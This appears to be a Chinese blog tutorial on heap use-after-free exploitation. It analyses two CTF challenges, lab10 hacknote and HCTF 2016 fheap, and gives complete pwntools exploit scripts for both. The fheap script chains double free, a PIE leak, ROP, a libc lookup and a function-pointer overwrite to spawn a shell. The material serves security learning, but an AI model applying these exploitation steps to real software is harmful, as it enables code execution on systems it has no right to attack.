heap uaf

漏洞場景:
釋放內存后沒有置NULL指針,而且引用時還沒有驗證,訪問到被釋放的內存.
釋放內存后沒有置NULL指針,當下次申請內存時又申請到這塊內存,且下次訪問時,堆內數據已經改變.常用于堆
里面有函數指針的情況,比如類的虛表

1.實例 lab 10 hacknote
題目分析
1.申請一個堆存放8字節的結構體,結構體第一項是函數指針,第二項是數據堆.申請大小可控
2.申請的結構體指針存放在一個全局數組中
3.刪除時釋放內存后沒有置NULL
4.打印時調用函數指針打印第二項的數據堆,且只是用指針數組的內容不為NULL判斷,因為沒有置NULL,
所以可以引用釋放后的內存

exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

r = process('./hacknote')


def addnote(size, content):
    r.recvuntil(":")
    r.sendline("1")
    r.recvuntil(":")
    r.sendline(str(size))
    r.recvuntil(":")
    r.sendline(content)


def delnote(idx):
    r.recvuntil(":")
    r.sendline("2")
    r.recvuntil(":")
    r.sendline(str(idx))


def printnote(idx):
    r.recvuntil(":")
    r.sendline("3")
    r.recvuntil(":")
    r.sendline(str(idx))


gdb.attach(r)
magic = 0x08048986

addnote(32, "aaaa")#0
addnote(32, "ddaa")#1

delnote(0)
delnote(1)

addnote(8, p32(magic))

printnote(0)

r.interactive()

  1. 實例2016 HCTF fheap
    題目分析
    1.創建和刪除2個功能,創建時分配固定大小結構體內存,第4個qword存放自定義的函數指針,如果輸入
    字符串大小超過15字節,則第一個qword存放該字符串堆內存的地址,否則不分配內存,直接將字符串存放
    在結構體的前2個qword處.
    2.創建的結構體內存地址又是另一個結構體的成員,通過結構體數組存放,且第一個dword為是否已釋放
    標識,第2個qword指向創建的結構體地址.刪除時判斷該結構體地址是否為0,而不是判斷那個標識,調用
    函數指針將堆上結構體釋放.沒有對指針清0
    3.沒有清0指針+判斷邏輯錯誤導致double free和uaf雙重漏洞

總結: 需要通過信息泄漏繞過pie,aslr,通過rop繞過nx,利用了fastbin attack,double free和uaf堆漏洞執行rop最終getshell.
exp:

#coding:utf-8
from pwn import *
from LibcSearcher import *
p = process('./pwn')
elf = ELF('./pwn')


def create(input_size, input_string):
    print p.recvuntil('3.quit\n')
    p.sendline('create ')
    print p.recvuntil('size:')
    p.sendline(str(input_size))
    print p.recvuntil('str:')
    p.sendline(input_string)
    return 

def delete(input_id):
    print p.recvuntil('3.quit\n')
    p.sendline('delete ')    
    print p.recvuntil('id:')
    p.sendline(str(input_id))
    print p.recvuntil('Are you sure?:')
    p.sendline('yes')
    return

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
#gdb.attach(p)
create(5, 'caf\x00')
create(5,'asd\x00')
delete(0)
delete(1)
delete(0)

payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += '\x0b'#1 byte overwrite bypass pie,覆蓋一字節去調用puts函數將該指令地址輸出,通過偏移計算得到程序加載基址,繞過pie
create(len(payload),payload)
delete(1)
p.recvuntil('b'*7)
call_puts_addr = p.recvuntil('\n')[:-1]
call_puts_addr = u64(call_puts_addr.ljust(8,'\x00'))
print 'call_puts_addr: '+hex(call_puts_addr)
print 'imagebase: '+hex(call_puts_addr-0xd0b)
imagebase = call_puts_addr-0xd0b #調用puts函數指令偏移
puts_plt_addr = imagebase + puts_plt



delete(0)

#gdb.attach(p)
payload = 'a'*8
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(0x00000000000011cc+imagebase)#0x00000000000011cc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret, 讓指令到棧里面指向rop指令

create(0x20,payload)

print p.recvuntil('3.quit\n')
p.sendline('delete ')    
print p.recvuntil('id:')
p.sendline(str(1))
print p.recvuntil('Are you sure?:')
payload2 = 'yes\x00aaaa'
payload2 += p64(0x00000000000011d3+imagebase)#0x00000000000011d3 : pop rdi ; ret
payload2 += p64(imagebase+puts_got)
payload2 += p64(puts_plt_addr)#將puts_got內容打印出來
payload2 += p64(0xBC9+imagebase)#ret to main,再次執行main函數
p.sendline(payload2)
puts_addr = p.recvuntil('\n')[:-1]
puts_addr = puts_addr.ljust(8,'\x00')
puts_addr = u64(puts_addr)
print 'puts_addr:'+hex(puts_addr)

libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
print 'libcbase: '+hex(libcbase)

system_func = libcbase+libc.dump('system')
print 'system addr: '+hex(system_func)


delete(0)

#gdb.attach(p)
payload = '/bin/sh;'
payload += 'a'*8
payload += p8(0x20)+'b'*7
payload += p64(system_func)#再次覆蓋函數指針
create(0x20,payload)

delete(1)#觸發system函數調用

p.interactive()

最后編輯于
?著作權歸作者所有,轉載或內容合作請聯系作者
平臺聲明:文章內容(如有圖片或視頻亦包括在內)由作者上傳并發布,文章內容僅代表作者本人觀點,簡書系信息發布平臺,僅提供信息存儲服務。